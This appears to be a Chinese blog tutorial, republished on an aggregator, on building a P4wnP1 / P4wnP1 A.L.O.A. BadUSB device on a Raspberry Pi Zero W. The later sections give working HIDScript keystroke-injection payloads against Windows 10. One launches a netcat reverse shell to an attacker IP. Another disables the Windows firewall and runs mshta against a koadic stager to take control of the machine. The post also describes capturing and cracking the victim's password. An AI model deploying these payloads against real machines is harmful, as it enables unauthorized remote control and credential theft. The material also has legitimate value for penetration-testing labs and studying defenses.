P4wnP1全家桶安装及实战
source link: https://www.ascotbe.com/2019/06/29/raspberry/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
P4wnP1全家桶安装及实战
今天想用自己USB
入侵设备的时候,发现WIFI
密码给忘了
重装的时候发现自己没有写详细过程!呸!!最后只能删了重写写过。
写在前头血的教训
树莓派没有那么容易坏不用买第二个!!
网上的
wpa_supplicant.conf
开启WIFI
我试了N次都没成功过USB
转接头一定要买不需要焊接(别买Zero Quick Plug Bad USB
树莓派
Zero W
自带WIFI
所以别再买WIFI
模块了装完
P4wnP1
切记重启不要直接拔掉会导致开不了机sudo shutdown -r now
- 树莓派
Zero W
USB
接头TF
卡一张
通过网线连接树莓派
首先在
config.txt
最末行处换行添加如下代码,打开usb
网卡模式dtoverlay=dwc2
其次在
cmdline.txt
文件中找到rootwait
字段,并在其后面空格添加如下信息,在打开系统时开启usb
网卡模式。modules-load=dwc2,g_ether
然后把
TF
卡插入树莓派连接电脑,在串口中会出现串口COM
,并且会弹出RNDIS
未连接,接着右键点击我的电脑->管理->设备管理器中找到在COM
(端口通信)右击更新驱动后使用如下命令即可连接ssh [email protected]
树莓派换源
这里有两个源需要换
修改软件更新源,位置
/etc/apt/sources.list
#换为阿里云的源
deb http://mirrors.aliyun.com/raspbian/raspbian/ jessie main non-free contrib rpi修改系统更新源,位置
/etc/apt/sources.list.d/raspi.list
#换位edu的源,不然安装P4wnP1的时候更新系统需要等个把小时
deb http://mirrors.ustc.edu.cn/archive.raspberrypi.org/debian/ stretch main ui
设置
wifi
在命令行中输入
sudo raspi-config
然后选择
Network Options
选择
WI-FI
选择自己国家语言编码
最后输入
ssid
和passwd
即可连接成功,注:ssid
为你wifi
的名字,passwd
为你的wifi
密码
更换
pip
源
修改文件位置/etc/pip.conf
[global]
timeout = 6000
index-url = http://mirrors.aliyun.com/pypi/simple/
extra-index-url=https://www.piwheels.org/simple/
[install]
use-mirrors = true
mirrors = http://mirrors.aliyun.com/pypi/simple/
trusted-host = mirrors.aliyun.com
安装
P4wnP1
从
Github
下载项目#下载
git clone https://github.com/mame82/P4wnP1.git
cd P4wnP1
#安装
./install.sh安装成功后连接
WIFI
名为P4wnP1
初始密码是
MaMe82-P4wnP1
再用
putty
连接172.24.0.1
端口22
打开配置文件:
sudo vim P4wnP1/setup.cfg
配置文件的各个功能的作用详情点我
如果使用了
Payload
后你修改的WIFI
还是没变可以去P4wnP1/payloads
里面修改文件(因为优先加载payload
里面的设置原始设置+原始
Payload
修改过设置+修改过
Payload
-
输入
FireStage1
当出现client connect
字样时说明连接成功 -
设置完
payloads
后插上电脑,当受害者输入密码的时候,树莓派会自己利用John the Ripper
模块进行破解密码文件在这个位置
/P4wnP1/collected
如果是强密码可以使用
hashcat
可以参考使用文档
shell
命令#结束给定的远程进程
KillProc
#结束给定远程客户端
KillClient
#创建进程,打开计算器的命令为: CreateProc calc
CreateProc
#发送键盘脚本
SendDuckyScript
#发送鼠标脚本
SendMouseScript
#发送“ABC”键盘输入
sendkeys ABC
#下载文件到树莓派
download
#上传文件到主机
upload
#以靶机的身份访问控制台
shell
详细命令可以参考官方文档
安装
P4wnP1 A.L.O.A.
由于P4wnP1
的可用性太低了,再加上作者已经放弃了那个项目,所以把原来的改成了P4wnP1 A.L.O.A.
本想网上找点资料参考下怎么使用的结果找了半天都没找到使用的文章,官方的文档又是英文的还没有安装教程(原谅我英语菜的抠脚),就只能自己慢慢摸索,刚开始是从Github
下载项目到树莓派上然后使用./install
来安装,结果疯狂报错,下载了Go
语言依赖还是疯狂报错然后我就咕咕了4天(其实是自闭了4天)直到某天逛YouTube
的时候看到了某个老哥的安装教程,才有了这部分文章
其实不需要从Github
上下载源码安装,作者已经为你打包好了镜像,只需要刷入TF
卡就可以了
#下载img包
https://github.com/mame82/P4wnP1_aloa/releases/download/v0.1.0-alpha2/kali-linux-v0.1.0-alpha2-rpi0w-nexmon-p4wnp1-aloa.img.xz
接下来只需要连上电脑,打开WiFi
就会出现这个界面
接着连接该WiFi
密码为MaMe82-P4wnP1
访问http://172.24.0.1:8000/
就能进入web
端了,推荐电脑连接网线然后用WiFi
连接树莓派的WiFi
这样既可以上网又可以访问web
端
通过172.24.0.1
的22
端口进行ssh
连接,默认用户名root
密码toor
web
使用体验
USB settings
可以对供应商ID、制作者ID、生产商名称、序列号、产品名字进行自定义设置
并且可以对键盘、鼠标、存储设备(模拟
USB
闪存驱动器或CD-ROM
)、序列化接口、RBDIS
(Windows
上的USB
以太网)、CDC ECM
(针对UNIX Linux OSX
的USB
网络)进行选择WiFi settings
可以对
WIFI
名称和密码、信道、加密方式、是否隐藏SSID
(这个一般必开)、所在国家、工作模式(AP
或客户端)修改好点击
store
来把配置保存在树莓派中然后点击DEPLOY STORED
即可切记密码长度要大于8位不然会导致设置失败
Bluetooth Settings
蓝牙模块感觉没有
WiFi
来的高效,这块就暂时不多逼逼了,我直接给它关了Network Settings
对网络和
DHCP
进行的一些设置Trigger Action
触发机制,通过某项事件或者操作触发一项或者多项操作
触发条件有:开始服务、树莓派连接到目标、树莓派从目标断开、WIFI
连接成功、加入现有的WIFI
、DHCP
、GPIO
输入、从SSH登入树莓派
触发后的操作:写入日志、运行bash
脚本、启动HIDscript
、加载和部署模板、在GPIO
上设置输出还可以设置要加载的模板和模板类型
如果勾选了One shot
的话那就只会执行一次
Event Log
Generic Settings
模板编辑,存放之前编辑的设置,每次开机会套用这里的模板
如果你想开机加载的
WiFi
为你设置的WiFi
,首先要在WiFi settings
模块中上传你的WiFi
模板,然后按下图设置后点REBOOT
即可,如果你还想做其他开机启动操作都是类似的HIDScrip
这个是重点,可以执行高效的攻击命令和来的
P4wnP1
相比可做的事情多太多了,据官方文档所写的是基于JavaScript
的javascriptlayout('us'); // 键盘布局
typingSpeed(100,150) // 敲击按键的时候等待的间隔100毫秒加上0-150毫秒之间的随机值
waitLEDRepeat(NUM); //类似于等待用户按下某个键然后在继续运行,但是在OSX上没用
press("GUI r");//类似按下某个键位然后再抬起来,具体可以看官方文档,和上面的机制相识
delay(500);//暂停时间
type("notepad\n")//输入字符串,模拟键盘按键
moveStepped(x,y); //鼠标移动,相当于模拟正常运动
moveTo(x,y); //鼠标移动到设置的坐标点,x和y分别是横纵坐标,这个相当于跳刀下面给出一个
demo
javascript//详细操作参考官方文档
//https://github.com/mame82/P4wnP1_aloa
layout('us');
typingSpeed(500,9102);
waitLEDRepeat(NUM);
press("GUI R");
type("ping www.ascotbe.com");
delay(100);
press("SHIFT A");
ssh
端
通过SSH
连进去首先修改root
密码
首先进去可以对源以及联网进行修改具体方法和上面最开始的换源设置WiFi
方式类似
P4wnP1
的web
端的储存文件的位置都在/P4wnP1/dist
目录下
ssh
也可以做web
的工作,官方根据官方给出的文档输入P4wnP1_cli -h
可以查看帮助文档
root@kali:~# P4wnP1_cli -h
The CLI client tool could be used to configure P4wnP1 A.L.O.A.
from the command line. The tool relies on RPC so it could be used
remotely.
Version: v0.1.0-alpha2
Usage:
P4wnP1_cli [command]
Available Commands:
db Database backup and restore #数据库备份和还原
evt Receive P4wnP1 service events#接收P4wnP1服务事件
help Help about any command
hid Use keyboard or mouse functionality# 使用键盘或鼠标功能
led Set or Get LED state of P4wnP1#设置树莓派led灯闪烁频率
net Configure Network settings of ethernet interfaces (including USB ethernet if enabled)#配置以太网接口的网络设置(如果启用,则包括USB以太网)
system system commands#系统命令
template Deploy and list templates#部署并列出模板
trigger Fire a group send action or wait for a group receive trigger#触发模板之类的
usb USB gadget settings#USB小工具设置
wifi Configure WiFi (spawn Access Point or join WiFi networks)#配置WiFi(生成接入点或加入WiFi网络)
Flags:
-h, --help help for P4wnP1_cli
--host string The host with the listening P4wnP1 RPC server (default "localhost")
--port string The port on which the P4wnP1 RPC server is listening (default "50051")
Use "P4wnP1_cli [command] --help" for more information about a command.
root@kali:~# P4wnP1_cli led --help#查看led模块的详细命令
Set or Get LED state of P4wnP1
Usage:
P4wnP1_cli led [flags]
Flags:
-b, --blink uint32 Set blink count (0: Off, 1..254: blink n times, >254: On)#设置为0等于关闭闪烁大于254等于常亮
-h, --help help for led
Global Flags:
--host string The host with the listening P4wnP1 RPC server (default "localhost")
--port string The port on which the P4wnP1 RPC server is listening (default "50051")
目标机器使用的window 10
攻击机器使用的是Kali
首先把制作好的USB
插入电脑中,然后执行命令测试是否正常工作。注意:这边的键盘布局需要和目标机器上的键盘布局一样不然会输出不是你想输出的结果!!!!!
layout('us');#目标机器上也要设置为美式键盘
typingSpeed(0,0);
press("GUI R");
delay(500);
type("powershell start powershell -A 'ping www.ascotbe.com'\n");
press("enter");
dome1
目标机器有nc
文件攻击机器开启
nc
然后在
web
端执行如下demo
javascriptlayout('us');
typingSpeed(0,0);
press("GUI R");
delay(500);
type("powershell start powershell -A 'C:\\Users\\Administrator\\Desktop\\nc.exe -e cmd.exe -d 192.168.183.138 1024'\n");
press("enter");
demo2
利用koadic
脚本实现反弹在攻击机器上搭个类似
nc
的服务,目标机器只需要访问mshta http://192.168.183.138:9999/h861m
set LHOST 192.168.183.138
set LPORT 9999
树莓派
web
端运行layout('us');
typingSpeed(0,0);
press("GUI R");
delay(500);
type("powershell start powershell -A 'Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False'\n");#关闭windows防火墙
delay(1000);
press("GUI R");
type("powershell start powershell -A 'mshta http://192.168.183.138:9999/h861m'\n");
press("enter");有回显后执行
zombies 0
来查看目标机器的详细信息。注意:后面的0
代表的是你控制目标机器的ID
如果要查看本机直接输入zombies
即可输入
cmdshell 0
来获取目标机器的shell
在手机上测试
- 苹果:
Termius
- 安卓:
JuiceSSH
https://www.jianshu.com/p/4568f4f0a106
https://github.com/zerosum0x0/koadic
https://github.com/mame82/P4wnP1_aloa
https://blog.csdn.net/chentuo2000/article/details/81051308
https://www.youtube.com/watch?v=-QrfCNUxKgE
https://zhuanlan.zhihu.com/p/37359466
2019.12.20重构文章
2019.12.28文章添加中添加P4wnP1 A.L.O.A.
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK